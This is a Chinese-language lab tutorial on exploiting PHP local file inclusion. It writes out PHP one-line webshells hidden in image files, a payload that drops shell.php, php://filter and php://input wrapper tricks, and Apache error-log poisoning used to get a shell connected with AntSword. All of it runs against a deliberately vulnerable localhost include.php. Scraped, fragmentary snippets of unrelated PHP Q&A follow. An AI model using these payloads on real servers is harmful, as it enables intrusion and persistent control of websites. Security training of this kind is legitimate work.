【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

2023-11-10

文件包含漏洞的利用

读取敏感文件

我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件

  • 目标主机文件存在(目标文件的路径、绝对路径、相对路径)

  • 具有文件可读权限

  1. 提交参数http://localhost/include/include.php?path=C:\windows\system32\drivers\etc\hosts,读取本地host文件

  1. 提交参数http://localhost/include/include.php?path=http://www.cac.gov.cn/2021-01/22/c_1612887880656609.htm,读取远程文件,加载远程服务器上的文件

直接包含图片木马

可以利用文件包含漏洞直接包含图片木马

  1. 在include文件夹下新建wx.jpg图片文件

  1. 点击文件右键选择属性,点击版型信息,选择版权,输入一句话木马

<?php @eval($_REQUEST[123]);?>
  1. 打开浏览器输入http://localhost/include/include.php?path=./wx.jpg,进行访问

  1. 继续输入?path=./wx.jpg&123=print(md5(123456));,我们发现一句话木马能够输出md5值

  1. 复制URL通过包含的方式连接中国蚁剑。打开蚁剑,右键添加数据,如下图所示,测试连接成功

包含木马写shell

我们也可以将如下代码写入到图片中,<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

  1. 在include目录下,复制wx.jpg,重命名为wx_fputs.jpg,通过notepad++打开该文件,随便一行插入代码<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>

  1. 之后打开浏览器正常访问http://localhost/include/wx_fputs.jpg,页面显示如下

  1. 继续输入http://localhost/include/include.php?path=./wx_fputs.jpg,页面显示如下

  1. 随即发现在include文件夹中有个新建文件shell.php,即可用蚁剑连接

PHP封装协议--访问本地文件

我们可以使用php的file协议访问本地系统文件,输入访问http://localhost/include/include.php?path=file://C:\windows\system32\drivers\etc\hosts

tips:我们发现file协议与读取敏感文件中的读取本地host文件的方式是一样的,只是在前面加了file://

PHP封装协议--传输PHP文件

我们可以使用以下参数来传送任意PHP文件(也就是利用文件包含漏洞来传输php文件)。

  1. 访问http://localhost/include/include.php?path=php://filter/read=convert.base64-encode/resource=info.php,发现info.php文件被转换为base64编码了

  1. 打开burp点击decoder模块进行转码(tips:可以通过这种方法获取网站源代码)

PHP封装协议--执行PHP命令

我们还可以利用PHP的封装协议来执行PHP命令

  1. 打开burp,点击repeater模块

  1. 直接输入参数?path=php://input,在后面直接写上<?php phpinfo();?>,点击send(tips:我们发现可以执行任意的php代码)

注意:远程文件包含默认情况下都是关闭的,传输php文件和执行php命令这两种方法有两种用途:

  1. 是用来打cdf的

  1. 是持久控制的php后门

那么已知一个网站存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

经典面试题

包含日志文件getshell

实验背景

在上文提到过:已知一个网站且仅存在本地文件包含漏洞,并且没有上传文件API,如何利用呢?

实验目的

利用本地文件包含漏洞GetShell

实验前准备

  1. 查看php版本,修改其配置,找到php-5.4.45版本对应文件夹,将文件php.ini中的allow_url_include参数设置为On,修改后记得保存并重启服务器。

  1. 在该网站根目录下,新建文件FileInclusion,在此文件夹中新建文件include.php,文件内容为

<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>

实验步骤

由于没有存在文件上传点,而我们又需要服务器本地有个文件存在一句话木马代码,这时候我们想到,日志文件记录报错的方法,就是从日志文件中“写入”一句话木马,然后再利用文件包含来执行日志文件中的一句话木马。具体步骤如下:

  1. 将访问include.php页面的URL链接http://127.0.0.1/FileInclusion/include.php复制,在BurpSuite的repeater模块中右键选择Paste URL as request以URL形式添加请求,点击发送,可以看到成功接收到响应,只是因为没有传递给path变量,所以提示出错。

  1. 在请求行中,将文件路径修改请求为一句话代码<?php @eval($_REQUEST['cmd']);?>,点击send,可以看到响应报错

  1. 服务器在请求报错后,在错误日志中就会增加一条响应记录。我们打开Apache的错误日志,路径为D:\phpStudy\PHPTutorial\Apache\logs\error.log,可以看到新增了一个错误信息,并且该代码没有被引号所包括,能够被文件包含无条件执行

  1. 打开中国蚁剑连接。打开中国蚁剑→添加数据→填写URL地址和连接密码,其中URL地址http://127.0.0.1/FileInclusion/include.php?path=D:\phpStudy\PHPTutorial\Apache\logs\error.log,密码为cmd,点击添加。

  1. 添加在软件主界面可以看到新添加的内容,双击即可管理服务器

tips:

  1. 利用一切可能让服务器本地某个文件中含有一句话木马

  1. 第二步文件包含之让代码执行

  1. 如果网站存在远程文件包含漏洞,攻击者在服务器2号上写一个一句话木马文件,利用网站远程文件包含该文件,并不能Get网站Shell。后续应更加深入理解一句话木马的控制原理,以判断为什么无法实现,初步认为shell代码是在服务器2号上执行的。

扩展:

  • 包含session文件,造成sessionId泄露

  • metinfo5.0.4文件包含漏洞代码审计

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell 的相关文章

  • 如何使用 PHP 从 iframe 获取 url

    如何从下面的链接获取 YouTube 网址 您可以使用 regex 和 preg match 函数 preg match src iframe string match url match 1 UPDATE如果您有使用 php 生成的页面或
  • Cakephp - CSRF 令牌不匹配

    我在 Cakephp 3 6 中有一个项目 其中 MessageController 中的 3 个操作由 Ajax 调用 但是 我有一个问题 当我向其中一个操作发送请求时 XHR 会向我返回以下内容 message CSRF token m
  • 使用 Graph API 删除 facebook 帖子 - 无法正常工作

    我使用以下命令在我的 Facebook 页面上发布消息 attachment array access token gt access token message gt This is a test Message 4 name gt Th
  • 解析错误:语法错误,意外的“”(T_ENCAPSED_AND_WHITESPACE)[重复]

    这个问题在这里已经有答案了 完整错误 解析错误 语法错误 意外的 T ENCAPSED AND WHITESPACE 需要标识符 T STRING 或 变量 T VARIABLE 或数字 T NUM STRING 它说错误出现在第 12 行
  • Php Define() 命名空间内的常量说明

    正如标题所示 我真的很想澄清这一点 我读过一些关于这个主题的文章和帖子 但有些东西不适合我 我会补充一点 我对 Php 有点陌生 好吧 这就是我想了解的 namespace Information define ROOT URL infor
  • 递归BBCode解析

    我正在尝试解析脚本中的 BBCode 现在 它可以无缝工作 直到我尝试缩进不仅仅是粗体或下划线的 BBCode 例如剧透 网址 字体大小等 然后它就会搞砸 这是我的代码 function parse bbcode text global d
  • 如何在 PHP 中进行静态代码分析? [关闭]

    Closed 这个问题不符合堆栈溢出指南 help closed questions 目前不接受答案 有没有PHP源文件的静态分析工具 二进制文件本身可以检查语法错误 但我正在寻找功能更多的东西 例如 未使用的变量赋值 未先初始化就分配到的
  • 用掩码替换字符串模式的最快方法

    我有类似的字符串 string string key foo bar 和参数数组 params array foo gt 1 bar gt 2 如何以 string 模式替换此参数 预期结果是 string key 1 2 首先 您需要重写
  • count 和 groupby 在一个查询中一起使用

    以下查询正在获取页面上的一些产品信息 这很好 但我也想以文本形式显示它出现的产品编号 但是 我使用了groupby但我也想用count on pro id SELECT FROM cart WHERE session id SESSION
  • 如何在没有数据库的情况下创建AJAX分页?

    是否可以在没有 MySQL 帮助的情况下获取 AJAX 分页页面 难道我不能只添加一个包含我需要显示的文本和标记的 PHP 文件 然后通过单击页码将该内容提供给用户吗 那么可以用纯 jQuery 和 PHP 来实现吗 您会使用什么代码方法来
  • PDO::PARAM_FLOAT 不存在,为什么?

    我想知道为什么 PDO PARAM FLOAT 不存在以及什么可以替代它 没有 可能是由于隐含的舍入问题 只需使用PDO PARAM STR并使用将浮点数转换为字符串strval float or string float
  • PHP 版本如何匹配“API=yyyymmdd”签名/标签?

    是否有明确且可靠的来源来找出哪个 PHP 发行版本 x y z 携带 使用哪个 API yyyymmdd 签名 标签 PHP 的版本控制存储库是 PHP 版本与其 API 日期版本之间相关性的权威来源 请记住 仅主要版本PHP 的版本 例如
  • php循环中的ajax在按钮单击时执行操作

    所以我有一个 php 循环 我使用 jquery 滑动切换来隐藏 显示带有 sql 结果的表 目前该表仅使用 php 加载 但由于发生了很多事情 导致了一些加载问题 我需要使用滑动切换 btn 来触发 ajax 因此它仅在按下按钮时请求当前
  • 如何找到 httpd.conf 文件所在的位置?

    如何找到 apache PHP 上 httpd conf 文件的路径 我不知道我的脚本是否会在Windows apache或Linux中运行 我需要知道在哪里可以找到这个文件 以便从那里找到参数 谢谢 我认为它没有接触 PHP 跑步http
  • Laravel 中的支付网关回调时会话会自动销毁

    我正在尝试将 CCavenue com 支付网关集成到我的 Laravel 7 项目中 我面临的唯一问题是在回调 url 中 从支付网关获取发布数据后 活动会话会自动销毁 我还向中间件添加了 CSRF 例外 PayController 生成
  • PHP:从 POP3 或 IMAP 下载传入电子邮件,解析它,并将其标记为服务器上的已读/删除

    我正在尝试将传入电子邮件添加到我的网络应用程序中 它是基于 CodeIgniter 和 PHP 构建的 据我所知 我还没有找到任何 CI 库来执行此操作 我想要做的是有一个控制器通过 POP3 或 IMAP 连接到我的邮箱 并检索消息 解析
  • PHP filesize() 适用于除一个文件之外的所有文件,给出 stat failed 错误

    我正在编写一个 PHP 页面 该页面通过抓取现有 HTML 页面来生成播客提要 一切正常 但我的 mp3 文件之一出现 filesize stat failed 错误 据我所知 该文件没有损坏 并且播放得很好 我还将文件重新上传到服务器 它
  • 创建具有动态更新变量的数组

    我有一些 PHP 变量 它们的名称直接链接到它们包含的函数 是否有办法自动创建这些变量 以便我可以使用所有变量 00 200 这就是我现在正在做的事情 regdays00 is user reg matured 00 regdays02 i
  • ZF2 - 从路线生成 URL

    我无法弄清楚在 zend 2 中从我想要的任何地方生成 Url 我得到了动作和控制器 所以我尝试这个 this gt url myControllerName array action gt myActionName 但这返回一个对象 我只
  • 如何确定函数是否不返回任何内容?

    有没有办法在 PHP 中使用反射或其他方法来做到这一点 function a return null function b a a null b b null 如果您没有显式返回某些内容 则函数将返回null默认情况下 这就是 PHP 中函

随机推荐

  • 两个实例看Vue数据代理

    数据代理 概念 通过一个对象代理对另一个对象中属性的操作 读 写 基本原理 通过Object defineproperty方法把data对象中的所有属性添加vm上 为每一个添加到vm上的属性指定getter和 setter方法 利用它去操作
  • Mybatis同时支持多种数据库(oracle 和MySQL)

    这里说下对多种数据库的支持 不是多个数据源 这里要用到mybatis的databaseId 如下
  • task_1

    task 1 赛题数据概况 数据集 条 训练集 5w 测试集A 5w 测试集B 5w 特征列 31列 匿名特征 15列 和非匿名特征 全部数据已经脱敏 编码 预测评估指标 平均绝对误差 Mean Absolute Error MAE 评估指
  • 124. 二叉树中的最大路径和

    124 二叉树中的最大路径和 题目描述 路径 被定义为一条从树中任意节点出发 沿父节点 子节点连接 达到任意节点的序列 同一个节点在一条路径序列中 至多出现一次 该路径 至少包含一个 节点 且不一定经过根节点 路径和 是路径中各节点值的总和
  • Java两数之和

    1 两数之和 1 问题描述 给定一个整数数组 nums 和一个整数目标值 target 请你在该数组中找出 和为目标值 target 的那两个整数 并返回它们的数组下标 你可以假设每种输入只会对应一个答案 但是 数组中同一个元素在答案里不能
  • Microsoft Teams的 CAA20002错误

    一个用户的Teams不能用了 登录后无法正常使用 打开Teams总是提示错误为 ERROR CODE caa20002 用户登录web网页没有问题 只有使用桌面程序才会出现这个错误 重新卸载后再安装 即便删除Teams相关的文件也不好使 最
  • bash调试经验

    bash是Unix Linux操作系统最常用的shell之一 它非常灵活 和awk c 配合起来异常强大 以下使用一个测试脚本来说明使用bash调试的方法 test sh plain view plain copy print bin ba
  • 使用计算机采用十进制数,计算机内部采用的是十六进制数吗?

    计算机内部采用的不是十六进制数 而是二进制 计算机内部采用二进制进行运算和存储 在电子计算机中采用二进制表示数可以节省设备 并且由于二进位制包括三进位制在内的其他进位制所没有的优点 所以大多数电子计算机还是采用二进制 计算机内部采用的数制是
  • chatGPT在数据安全领域的应用场景分析

    随着数据在现代生活中的不断增长 数据安全问题已经成为一个重要的议题 数据安全涉及到数据的整个生命周期 包括数据采集 存储 处理 传输和销毁等各个方面 而聊天机器人技术 尤其是ChatGPT 已经被广泛应用于数据安全领域 成为解决数据安全问题
  • 什么是cherry-pick

    文章目录 前言 图示 前言 这里的cherry pick指的是git的命令 cherry pick 这个命令的作用就是把指定的commit 拉到一个新的分支上 图示 比如此时分支情况如下 这幅图中 每个圆圈代表一次commit 一条线是一个
  • 程序真的是从main开始的吗?

    程序真的是从main开始的吗 程序从main开始的吗 在执行main之前全局变量已经初始化 main函数的两个参数也被正确传了进来 堆和栈的初始化也已经完成 一些系统I O也被初始化 完成上面这些工作的函数称为入口函数 Entry Poin
  • Mysql导出word表结构

    一 代码如下 package com icip util import com alibaba fastjson JSONObject import org apache poi xwpf usermodel XWPFDocument im
  • Sqlalchemy 2.x exists 使用方法

    Sqlalchemy 2 0 exists 使用方法 在sqlalchemy 1 4 中 想要查询一个数据在不在 可以用这种方法查询 from sqlalchemy import exists it exists Session query
  • 15个未来高科技产品会让你无法想象!这些开脑洞的设计太牛了!

    导读 从衣食住行到生活的方方面面 未来必将会有天翻地覆的变化 大数据 云计算 物联网和人工智能这些年的发展 让我们对并不遥远的未来有了更多想象和期待 那些我们现阶段不可企及的所思所想 将在未来成为大部分人的日常 这么想想 是不是有点小激动呢
  • 什么是代码评审(Code Review)

    1 什么是CodeReview Code Review CR 即代码评审 又名代码走查 是一种通过复查代码来提高代码质量的过程 一般体现在一个团队的开发过程中 CR要求团队成员有意识地 系统地检查彼此的代码 从而验证需求 发现错误 同时指出
  • JS数据类型转换详解

    文章内容为所看网课笔记 如有侵权请联系删除 JS数据类型 1 基本数据类型 number string undefined null boolean symbol bigint 2 引用数据类型 对象类型 1 标准普通对象 object 2
  • BLSP

    1 基础概念 1 Bus Access Module BAM 总线访问模块 BAM is used to move data to from the peripheral buffers 2 BAM Low Speed Peripheral
  • Topaz Sharpen AI中文版

    教程 1 下载解压软件得到安装包以及 2 双击 TopazSharpenAI 2 1 1 windows x64 Full Installer exe 开始安装软件 3 用户许可协议 这里选择i accept 4 选择软件的安装目录 开始菜
  • 【C++后台开发面试】STL相关

    此部分较为精简 只供面试前联想记忆使用 需要先熟读相关的内容知识才能发挥其作用 推荐书籍 STL源码剖析 侯捷 六大组件及其关系 空间配置器 容器 迭代器 算法 仿函数 适配器 内存管理 内存配置和对象构造 析构分开 使用双层级配置器 第一
  • 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件 读取文件的时候有利用条件 目标主机文件存在 目标文件的路径 绝对路径 相对路径 具有文件可读权限 提交参数http localhost include include